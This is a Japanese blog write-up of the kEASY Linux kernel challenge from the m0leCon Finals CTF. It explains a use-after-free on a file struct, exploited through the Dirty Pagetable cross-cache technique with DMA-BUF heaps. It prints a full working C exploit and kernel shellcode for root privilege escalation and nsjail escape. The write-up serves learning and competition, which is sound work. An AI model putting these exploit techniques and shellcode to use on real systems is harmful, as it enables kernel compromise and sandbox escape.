CTFするぞ

CTF以外のことも書くよ

Dirty Pagetableを理解する(m0leCon Finals CTF Writeup)

はじめに

先日、イタリアのトリノ工科大学で開催されたm0leCon Finals CTFに std::weak_ptr<moon> *1で参加しました。 結果は予選を勝ち抜いた10チーム中6位とまずまずの成績でしたが、人数制限がないCTFに少人数で突撃したにしては良い結果だったと信じています🥺

さて、競技中にはいくつかの問題を解きましたが、中でもkEASYというLinux kernel exploitの問題が面白かったので、利用した攻撃テクニックについて久しぶりに紹介します。

問題設定

以下が配布ファイルのリンクです。

bitbucket.org

配布ファイル:

kernel.conf
rootfs.cpio.gz
bzImage
run.sh
keasy.c
keasy.h

セキュリティ機構

KASLR, SMAP, SMEP, KPTIは有効です。

#!/bin/sh
qemu-system-x86_64 \
    -kernel bzImage \
    -cpu qemu64,+smep,+smap,+rdrand \
    -m 4G \
    -smp 4 \
    -initrd rootfs.cpio.gz \
    -hda flag.txt \
    -append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1" \
    -monitor /dev/null \
    -nographic \
    -no-reboot

SLABのfreelistのランダム化やハードニング等のセキュリティ機構も入っています。 さらに、与えられるシェル自体もnsjailでサンドボックス化されており、多くのシステムコールがseccompで禁止されていたり、プロセス数のようなリソースへの制限が付いていたり、厳しい設定です。

ソースコード

実質ioctlのハンドラだけが定義されたカーネルモジュールが動いています。 ioctlハンドラでは以下の操作が定義されています。

static long keasy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    long ret = -EINVAL;
    struct file *myfile;
    int fd;

    if (!enabled) {
        goto out;
    }
    enabled = 0;

    myfile = anon_inode_getfile("[easy]", &keasy_file_fops, NULL, 0);

    fd = get_unused_fd_flags(O_CLOEXEC);
    if (fd < 0) {
        ret = fd;
        goto err;
    }

    fd_install(fd, myfile);

    if (copy_to_user((unsigned int __user *)arg, &fd, sizeof(fd))) {
        ret = -EINVAL;
        goto err;
    }

    ret = 0;
    return ret;

err:
    fput(myfile);
out:
    return ret;
}

[easy]という名前の仮想的なファイルが作られ、それに対してファイルディスクリプタが割り当てられます。 ファイルディスクリプタを設定したら、その番号をユーザー空間のバッファに書き込み、終了します。

なお、この機能はブートしてから1度だけ*2使えます。

脆弱性

fd_install でファイルディスクリプタを設定したあと、copy_to_userが失敗するとerrにジャンプし、fputが呼ばれます。 fputはファイルの参照カウンタを減らしますが、今回は作った直後なのでfputを呼ぶと参照カウンタが0になり、ファイルに割り当てられた構造体が解放されます。

つまり、copy_to_userが失敗すると、ユーザー空間にファイルディスクリプタが割り当てられているにも関わらずファイル自体は解放され、Use-after-Freeが発生します。

脆弱性の発火

マップされていないアドレスを渡し、copy_to_userを失敗させれば簡単にUse-after-Freeが起きます。 ファイルディスクリプタは空いている最も小さい値になるので、ioctlが失敗しても特定可能です。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int main() {
  // Open vulnerable device
  int fd = open("/dev/keasy", O_RDWR);
  if (fd == -1)
    fatal("/dev/keasy");

  // Get dangling file descriptor
  int ezfd = fd + 1;
  if (ioctl(fd, 0, 0xdeadbeef) == 0)
    fatal("ioctl did not fail");

  // Use-after-free
  char buf[4];
  read(ezfd, buf, 4);
  return 0;
}

実行すると、次のように解放済みのファイルを参照してクラッシュします。

UAFでクラッシュする

今回の問題設定が難しいのは、UAFが起きるオブジェクトがgenericなslab cacheではなく、dedicatedなslab cache [1]で発生するUAFであるという点です。 ファイル構造体filefiles_cacheという専用のslabキャッシュを利用して確保されます。

# cat /proc/slabinfo | grep files_cache
files_cache          920    920    704   23    4 : tunables    0    0    0 : slabdata     40     40      0

kmallockzallocなどとは違い、専用のキャッシュが用意されています。 したがって、Use-after-Freeが起きても通常は他のオブジェクトが重ならないため、exploitが困難です。

Cross-Cache Attack

専用キャッシュを持つ構造体で発生するHeap Buffer OverflowやUse-after-Freeなどの脆弱性に対する攻撃をcross-cache attackと呼びます。 cross-cache attackに関する攻撃にも様々な種類があり、Dirty Cred [2]やDirty Pagetableなどが一例です。

Cross-cache attackの原理は単純ですが、ここではUse-after-Freeにおける攻撃について説明します。 まず、下図①②のようにdedicatedキャッシュで使われる構造体をsprayします。

次に③のように、UAFが起きるオブジェクトを解放します*3。 最後にsprayしたオブジェクトをすべて解放すると、slabキャッシュ中のすべてのオブジェクトが解放されるため、このslabページ自体も解放されます。

ページはLinuxのbuddy systemで管理されており、他の用途でのページ要求で同じアドレスが再利用される可能性があります。 したがって、Use-after-Freeが起きているfile構造体を、関係のない別の構造体にかぶせることができます。

Dirty Credはこれを利用して、プロセスの権限を管理するcred構造体を書き換える攻撃です。 今回はfile構造体なので、何か別の攻撃を使う必要があります。

Dirty Pagetable

今回の脆弱性をexploitするにあたって、Dirty Pagetableと呼ばれる手法[3]を使いました。

原理

Dirty Credがcred構造体を攻撃対象に設定したように、Dirty Pagetableはページテーブルを攻撃対象に設定します。

x86-64Linuxでは、仮想アドレスを物理アドレスに変換するために、通常4段のページテーブルを使用しています。 Dirty Pagetableで攻撃対象とするのは、このうち物理メモリ直前の最後の段階にあたるPTE (Page Table Entry) です。 Linuxでは新しいPTEが必要となったとき、PTE用のページもまたBuddy Systemから確保されます。

したがって、Use-after-Freeが起きているページにPTEを確保させることが可能です。 図で表すと次のような状態です*4

Use-after-Freeが起きているファイル構造体をPTEに重ねるまでのコードは次のようになります。 ここで、今回はマルチスレッド環境で動作しているため、同じCPUのslabキャッシュが使われるように利用するCPUを1つに限定することを忘れないように注意しましょう。

void bind_core(int core) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

...

int main() {
  int file_spray[N_FILESPRAY];
  void *page_spray[N_PAGESPRAY];

  // Pin CPU (important!)
  bind_core(0);

  // Open vulnerable device
  int fd = open("/dev/keasy", O_RDWR);
  if (fd == -1)
    fatal("/dev/keasy");

  // Prepare pages (PTE not allocated at this moment)
  for (int i = 0; i < N_PAGESPRAY; i++) {
    page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
                         0x8000, PROT_READ|PROT_WRITE,
                         MAP_ANONYMOUS|MAP_SHARED, -1, 0);
    if (page_spray[i] == MAP_FAILED) fatal("mmap");
  }

  puts("[+] Spraying files...");
  // Spray file (1)
  for (int i = 0; i < N_FILESPRAY/2; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");

  // Get dangling file descriptorz
  int ezfd = file_spray[N_FILESPRAY/2-1] + 1;
  if (ioctl(fd, 0, 0xdeadbeef) == 0) // Use-after-Free
    fatal("ioctl did not fail");

  // Spray file (2)
  for (int i = N_FILESPRAY/2; i < N_FILESPRAY; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");

  puts("[+] Releasing files...");
  // Release the page for file slab cache
  for (int i = 0; i < N_FILESPRAY; i++)
    close(file_spray[i]);

  puts("[+] Allocating PTEs...");
  // Allocate many PTEs (page fault)
  for (int i = 0; i < N_PAGESPRAY; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;

  getchar();
  return 0;
}

fput直前のファイル構造体の様子は下図です。

PTEのsprayが終わると、次のように同じアドレスにPTEらしいデータが確保されていることがわかります。

物理メモリ上には次のように我々が書き込んだデータがあるため、ユーザー空間からsprayしたページを指しているPTEが確保されています。

理想的にはここからPTEを書き換え、ユーザー空間の仮想アドレスがカーネル空間の物理アドレスを指すように調整できると嬉しいです。 PTEを書き換える方法はUse-after-Freeが起きるオブジェクトに依存しますが、ここではfile構造体の場合を考えます。

file構造体における攻撃方法

file構造体には直接操作できるフィールドが少ないので、攻撃が少し難しいです。 本家解説[3]ではdupを使った方法が記載されているので、ここではそれを使います。

file構造体の先頭からオフセット0x38の位置に、f_countというフィールドがあります。

struct file {
    union {
        struct llist_node  f_llist;
        struct rcu_head    f_rcuhead;
        unsigned int      f_iocb_flags;
    };

    /*
    * Protects f_ep, f_flags.
    * Must not be taken from IRQ context.
    */
    spinlock_t      f_lock;
    fmode_t         f_mode;
    atomic_long_t       f_count;
    struct mutex       f_pos_lock;
...

f_countはそのfile構造体の参照カウンタであり、dupシステムコールで新しいfdに割り当てるとインクリメントされます。 したがって、PTE中のポインタをインクリメントするprimitiveが手に入りました。

では、ここで単純にdupをたくさん呼んで、PTE中のポインタをカーネル空間の物理アドレスに向ければ良いでしょうか?

実はそう単純ではありません。 まず、KASLRが有効な場合、ほとんどの物理アドレスがランダム化されています。 また、ユーザー空間で確保される物理メモリの多くはカーネル空間で確保される物理メモリよりも低いアドレスに位置し、その距離も遠いです。

今回の環境ではプロセスが持つことのできるファイルディスクリプタは65535が上限なので、多くてもそれ以上のインクリメントはできません。 forkを使ってプロセスを分離すれば解決できそうですが、nsjailの制約により起動できるプロセスはシェルと実行ファイルの2つだけなので、実際のところ不可能です。

したがって、ユーザー空間の物理アドレスカーネル空間の物理アドレスに直接書き換えることは難しく、他の方法を探す必要があります。

物理メモリ上でのUAF

今、UAFが発生しているfile構造体とPTEが同じ物理アドレスにあるため、下図のような状態になっています。

ここで、dupを0x1000回呼ぶと、PTE中のf_countに該当する位置のポインタがずれるため、2つのPTEのエントリが同じ物理アドレスを指します。

インクリメントしたあとに、アクセスしてみて本来と異なる内容が書かれているページを見つけたら、それがPTEを書き換えたページです。 ここまでをコードにすると以下のようになります。

  /**
   * 4. Modify PTE entry to overlap 2 physical pages
   */
  // Increment physical address
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");

  puts("[+] Searching for overlapping page...");
  // Search for page that overlaps with other physical page
  void *evil = NULL;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
    if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { // +38h: f_count
      evil = page_spray[i] + 0x7000;
      printf("[+] Found overlapping page: %p\n", evil);
      break;
    }
  }
  if (evil == NULL) fatal("target not found :(");

実行すると下図のようにoverlapが発生したページを検出できました。

また、検出したページの物理アドレスを調べると、2つのユーザー空間の仮想アドレスが同じ物理アドレスを指していることがわかります。

なお、ここではoverlapしていることが重要なのではなく、sprayしたPTEの中から破壊できるPTEに対応するユーザー空間のアドレスを見つけられたことが重要です。

任意物理アドレス読み書きの構築

先程も説明したように、カーネル空間とユーザー空間の物理メモリの距離の問題により、dupを使っても物理メモリのアドレスをカーネル空間の物理メモリに届かせることは困難です。 そこで、今回はDMA-BUF Heapを利用しました((io_uringなども使えるとありますが、nsjail下なのでDMAを利用しました。))。

DMA-BUFはデバイス間で高速かつ安全に共有可能なメモリとして導入された機能 [4] です。 DMAデバイス /dev/dma_heap/system を開くことでDMA-BUF Heapを操作できます。 これに対して DMA_HEAP_IOCTL_ALLOCioctlで呼ぶことで、ユーザー空間にマップ可能なメモリを確保できます。

このときioctlでマップされるページは、通常のmmapで確保するページとは異なり、PTEそのものに近い物理メモリ領域(詳細は [3] を参照)に確保されます。 ioctlの時点でカーネル空間に近い物理アドレスでメモリが確保され、それをmmapでユーザー空間の仮想アドレスに割り当てられる、というイメージです。

したがって、f_countでインクリメントできるPTEのエントリとしてDMA-BUF Heapのページを用意しておくと、次のような状態になります。 (別のPTEが隣接するために、PTE sprayの途中でDMA-BUF Heapを確保する必要があります。)

すでにPTEを破壊できるユーザー空間のページを知っているので、これをmunmapしてからDMA-BUF Heapのページをmapすれば、上図のようにf_countがDMA-BUF HeapのPTEに被るようにできます。

さて、ここで重要なのは、DMA-BUF Heapで確保したページが別のPTEと隣接している点です。 したがって、再度dupf_countを0x1000だけインクリメントすると、ユーザー空間にマップされたDMA-BUF Heapのページが、PTEのページに向きます。

DMA-BUF Heapで確保したページはユーザー空間から自由に読み書きできるため、PTEを完全に破壊するprimitiveが手に入りました。 したがって、ユーザー空間のPTEを破壊し、カーネル空間を含む自由な物理アドレスに向けることができます。

このような原理で任意物理アドレス読み書きを手に入れられます。

DMA-BUFで確保したページをPTEと隣接させるまでのコードは以下のようになります。(PTEのspray途中にDMA-BUFを確保する必要があるので、sprayから少しコードが変わります。)

  /**
   * 3. Overlap UAF file with PTE
   */
  puts("[+] Allocating PTEs...");
  // Allocate many PTEs (1)
  for (int i = 0; i < N_PAGESPRAY/2; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;

  // Allocate DMA-BUF heap
  int dma_buf_fd = -1;
  struct dma_heap_allocation_data data;
  data.len = 0x1000;
  data.fd_flags = O_RDWR;
  data.heap_flags = 0;
  data.fd = 0;
  if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
    fatal("DMA_HEAP_IOCTL_ALLOC");
  printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);

  // Allocate many PTEs (2)
  for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;

  /**
   * 4. Modify PTE entry to overlap 2 physical pages
   */
  // Increment physical address
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");

  puts("[+] Searching for overlapping page...");
  // Search for page that overlaps with other physical page
  void *evil = NULL;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
    if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { // +38h: f_count
      evil = page_spray[i] + 0x7000;
      printf("[+] Found overlapping page: %p\n", evil);
      break;
    }
  }
  if (evil == NULL) fatal("target not found :(");

  // Place PTE entry for DMA buffer onto controllable PTE
  puts("[+] Remapping...");
  munmap(evil, 0x1000);
  void *dma = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
                   MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
  *(char*)dma = '0';

実行すると、次のようにファイル構造体があった場所にPTEが確保されており、さらにf_countに該当する箇所にユーザー空間にマップしたDMA-BUFへの物理アドレスが位置します。 また、DMA-BUFの物理アドレスの次のページには、別のPTEがあることがわかります。

したがって、あとはdupを0x1000回呼べば、どこかのPTEを自由に書き換えられます。

  /**
   * Get physical AAR/AAW
   */
  // Corrupt physical address of DMA-BUF
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");
  printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf);

物理ベースアドレスのリーク

物理アドレスは読み書きが自由で、失敗することもありません。 そのため、単純に特定の機械語マジックナンバーなどを検索するだけでカーネル空間の物理メモリを探索できます。

しかし、2024年も近い現在でも、LinuxWindows両方とも固定の物理アドレスが存在します。

このあたりに見えるページが固定アドレスで、ページテーブルと思しきデータが残っています。 (しふくろ先生がHITCON中に見つけたページです。) カーネル空間への物理アドレスを持っているので、ここからカーネルの物理ベースアドレスがリークできます。

  // Leak kernel physical base
  void *wwwbuf = NULL;
  *(size_t*)dmabuf = 0x800000000009c067;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    if (page_spray[i] == evil) continue;
    if (*(size_t*)page_spray[i] > 0xffff) {
      wwwbuf = page_spray[i];
      printf("[+] Found victim page table: %p\n", wwwbuf);
      break;
    }
  }
  size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000;
  printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);

nsjailの脱出

今回は権限昇格だけでなく、nsjailから脱出する必要があります。 複雑な処理が必要なので、カーネル空間でシェルコードを実行しましょう。

物理メモリに対する読み書きが実現できるので、カーネル中の適当な機械語をシェルコードで上書きすれば良いです。 呼べるシステムコールが限られているので注意が必要ですが、今回はdo_symlinkatを書き換えました。 この関数はC言語symlink関数を呼ぶと到達します。

シェルコードの内容は参考文献[5]を参考に構築しました。

  init_cred         equ 0x1445ed8
  commit_creds      equ 0x00ae620
  find_task_by_vpid equ 0x00a3750
  init_nsproxy      equ 0x1445ce0
  switch_task_namespaces equ 0x00ac140
  init_fs                equ 0x1538248
  copy_fs_struct         equ 0x027f890
  kpti_bypass            equ 0x0c00f41

_start:
  endbr64
  call a
a:
  pop r15
  sub r15, 0x24d4c9

  ; commit_creds(init_cred) [3]
  lea rdi, [r15 + init_cred]
  lea rax, [r15 + commit_creds]
  call rax

  ; task = find_task_by_vpid(1) [4]
  mov edi, 1
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; switch_task_namespaces(task, init_nsproxy) [5]
  mov rdi, rax
  lea rsi, [r15 + init_nsproxy]
  lea rax, [r15 + switch_task_namespaces]
  call rax

  ; new_fs = copy_fs_struct(init_fs) [6]
  lea rdi, [r15 + init_fs]
  lea rax, [r15 + copy_fs_struct]
  call rax
  mov rbx, rax

  ; current = find_task_by_vpid(getpid())
  mov rdi, 0x1111111111111111   ; will be fixed at runtime
  lea rax, [r15 + find_task_by_vpid]
  call rax

  ; current->fs = new_fs [8]
  mov [rax + 0x740], rbx

  ; kpti trampoline [9]
  xor eax, eax
  mov [rsp+0x00], rax
  mov [rsp+0x08], rax
  mov rax, 0x2222222222222222   ; win
  mov [rsp+0x10], rax
  mov rax, 0x3333333333333333   ; cs
  mov [rsp+0x18], rax
  mov rax, 0x4444444444444444   ; rflags
  mov [rsp+0x20], rax
  mov rax, 0x5555555555555555   ; stack
  mov [rsp+0x28], rax
  mov rax, 0x6666666666666666   ; ss
  mov [rsp+0x30], rax
  lea rax, [r15 + kpti_bypass]
  jmp rax

  int3

以下が最終的なexploitです。

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define N_PAGESPRAY 0x200
#define N_FILESPRAY 0x100

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
  u64 len;
  u32 fd;
  u32 fd_flags;
  u64 heap_flags;
};

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

void bind_core(int core) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

unsigned long user_cs, user_ss, user_rsp, user_rflags;

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

int fd, dmafd, ezfd = -1;

static void win() {
  char buf[0x100];
  int fd = open("/dev/sda", O_RDONLY);
  if (fd < 0) {
    puts("[-] Lose...");
  } else {
    puts("[+] Win!");
    read(fd, buf, 0x100);
    write(1, buf, 0x100);
    puts("[+] Done");
  }
  exit(0);
}

int main() {
  int file_spray[N_FILESPRAY];
  void *page_spray[N_PAGESPRAY];

  /**
   * 1. Setup
   */
  // Pin CPU (important!)
  bind_core(0);
  save_state();

  // Open vulnerable device
  int fd = open("/dev/keasy", O_RDWR);
  if (fd == -1)
    fatal("/dev/keasy");
  // Open DMA-BUF
  int dmafd = creat("/dev/dma_heap/system", O_RDWR);
  if (dmafd == -1)
    fatal("/dev/dma_heap/system");

  // Prepare pages (PTE not allocated at this moment)
  for (int i = 0; i < N_PAGESPRAY; i++) {
    page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
                         0x8000, PROT_READ|PROT_WRITE,
                         MAP_ANONYMOUS|MAP_SHARED, -1, 0);
    if (page_spray[i] == MAP_FAILED) fatal("mmap");
  }

  /**
   * 2. Release the page where dangling file points
   */
  puts("[+] Spraying files...");
  // Spray file (1)
  for (int i = 0; i < N_FILESPRAY/2; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");

  // Get dangling file descriptorz
  int ezfd = file_spray[N_FILESPRAY/2-1] + 1;
  if (ioctl(fd, 0, 0xdeadbeef) == 0) // Use-after-Free
    fatal("ioctl did not fail");

  // Spray file (2)
  for (int i = N_FILESPRAY/2; i < N_FILESPRAY; i++)
    if ((file_spray[i] = open("/", O_RDONLY)) < 0) fatal("/");

  puts("[+] Releasing files...");
  // Release the page for file slab cache
  for (int i = 0; i < N_FILESPRAY; i++)
    close(file_spray[i]);

  /**
   * 3. Overlap UAF file with PTE
   */
  puts("[+] Allocating PTEs...");
  // Allocate many PTEs (1)
  for (int i = 0; i < N_PAGESPRAY/2; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;

  // Allocate DMA-BUF heap
  int dma_buf_fd = -1;
  struct dma_heap_allocation_data data;
  data.len = 0x1000;
  data.fd_flags = O_RDWR;
  data.heap_flags = 0;
  data.fd = 0;
  if (ioctl(dmafd, DMA_HEAP_IOCTL_ALLOC, &data) < 0)
    fatal("DMA_HEAP_IOCTL_ALLOC");
  printf("[+] dma_buf_fd: %d\n", dma_buf_fd = data.fd);

  // Allocate many PTEs (2)
  for (int i = N_PAGESPRAY/2; i < N_PAGESPRAY; i++)
    for (int j = 0; j < 8; j++)
      *(char*)(page_spray[i] + j*0x1000) = 'A' + j;

  /**
   * 4. Modify PTE entry to overlap 2 physical pages
   */
  // Increment physical address
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");

  puts("[+] Searching for overlapping page...");
  // Search for page that overlaps with other physical page
  void *evil = NULL;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    // We wrote 'H'(='A'+7) but if it changes the PTE overlaps with the file
    if (*(char*)(page_spray[i] + 7*0x1000) != 'A' + 7) { // +38h: f_count
      evil = page_spray[i] + 0x7000;
      printf("[+] Found overlapping page: %p\n", evil);
      break;
    }
  }
  if (evil == NULL) fatal("target not found :(");

  // Place PTE entry for DMA buffer onto controllable PTE
  puts("[+] Remapping...");
  munmap(evil, 0x1000);
  void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE,
                   MAP_SHARED | MAP_POPULATE, dma_buf_fd, 0);
  *(char*)dmabuf = '0';

  /**
   * Get physical AAR/AAW
   */
  // Corrupt physical address of DMA-BUF
  for (int i = 0; i < 0x1000; i++)
    if (dup(ezfd) < 0)
      fatal("dup");
  printf("[+] DMA-BUF now points to PTE: 0x%016lx\n", *(size_t*)dmabuf);

  // Leak kernel physical base
  void *wwwbuf = NULL;
  *(size_t*)dmabuf = 0x800000000009c067;
  for (int i = 0; i < N_PAGESPRAY; i++) {
    if (page_spray[i] == evil) continue;
    if (*(size_t*)page_spray[i] > 0xffff) {
      wwwbuf = page_spray[i];
      printf("[+] Found victim page table: %p\n", wwwbuf);
      break;
    }
  }
  size_t phys_base = ((*(size_t*)wwwbuf) & ~0xfff) - 0x1c04000;
  printf("[+] Physical kernel base address: 0x%016lx\n", phys_base);

  /**
   * Overwrite setxattr
   */
  puts("[+] Overwriting do_symlinkat...");
  size_t phys_func = phys_base + 0x24d4c0;
  *(size_t*)dmabuf = (phys_func & ~0xfff) | 0x8000000000000067;
  char shellcode[] = {0xf3, 0x0f, 0x1e, 0xfa, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x49, 0x81, 0xef, 0xc9, 0xd4, 0x24, 0x00, 0x49, 0x8d, 0xbf, 0xd8, 0x5e, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x20, 0xe6, 0x0a, 0x00, 0xff, 0xd0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x49, 0x8d, 0xb7, 0xe0, 0x5c, 0x44, 0x01, 0x49, 0x8d, 0x87, 0x40, 0xc1, 0x0a, 0x00, 0xff, 0xd0, 0x49, 0x8d, 0xbf, 0x48, 0x82, 0x53, 0x01, 0x49, 0x8d, 0x87, 0x90, 0xf8, 0x27, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc3, 0x48, 0xbf, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x49, 0x8d, 0x87, 0x50, 0x37, 0x0a, 0x00, 0xff, 0xd0, 0x48, 0x89, 0x98, 0x40, 0x07, 0x00, 0x00, 0x31, 0xc0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xb8, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18, 0x48, 0xb8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0xb8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xb8, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8d, 0x87, 0x41, 0x0f, 0xc0, 0x00, 0xff, 0xe0, 0xcc};

  void *p;
  p = memmem(shellcode, sizeof(shellcode), "\x11\x11\x11\x11\x11\x11\x11\x11", 8);
  *(size_t*)p = getpid();
  p = memmem(shellcode, sizeof(shellcode), "\x22\x22\x22\x22\x22\x22\x22\x22", 8);
  *(size_t*)p = (size_t)&win;
  p = memmem(shellcode, sizeof(shellcode), "\x33\x33\x33\x33\x33\x33\x33\x33", 8);
  *(size_t*)p = user_cs;
  p = memmem(shellcode, sizeof(shellcode), "\x44\x44\x44\x44\x44\x44\x44\x44", 8);
  *(size_t*)p = user_rflags;
  p = memmem(shellcode, sizeof(shellcode), "\x55\x55\x55\x55\x55\x55\x55\x55", 8);
  *(size_t*)p = user_rsp;
  p = memmem(shellcode, sizeof(shellcode), "\x66\x66\x66\x66\x66\x66\x66\x66", 8);
  *(size_t*)p = user_ss;

  memcpy(wwwbuf + (phys_func & 0xfff), shellcode, sizeof(shellcode));
  puts("[+] GO!GO!");

  printf("%d\n", symlink("/jail/x", "/jail"));

  puts("[-] Failed...");
  close(fd);

  getchar();
  return 0;
}

わいわい

おわりに

0opsにfirst bloodを取られましたが、我々2チームしか解けていなかったので嬉しかったです*5

pwnの中ではptmoonというqemu escapeの問題だけ時間が足りず解けなかった*6ので、復習したいです。

参考文献

1: Linux Slab Allocator - slabアロケータについての説明
2: 手を動かして理解するLinux Kernel Exploit - Dirty Credについての説明
3: Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel - Dirty Pagetableの本家解説
4: DMA-BUF Heaps - DMA-BUF Heapについての説明
5: CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel - nsjail回避の参考文献

*1:st98, 弱いptr-yudai, keymoonの名前を取ったチーム名

*2:mutexを取っていないので競合で数回呼べますが、この問題では1回だけで十分でした。

*3:今回のように確保と同時に解放される場合でも、結果的に④ですべてをfreeするので状態は変わりません。

*4:実際にはfile構造体はもっと大きいサイズです

*5:決勝で他のチームが解けていない問題を解くことは難しい

*6:2日目にも誰も解いてなかったのに、しふくろ先生に投げたら4時間くらいで解いてくれたがギリギリ間に合わなかった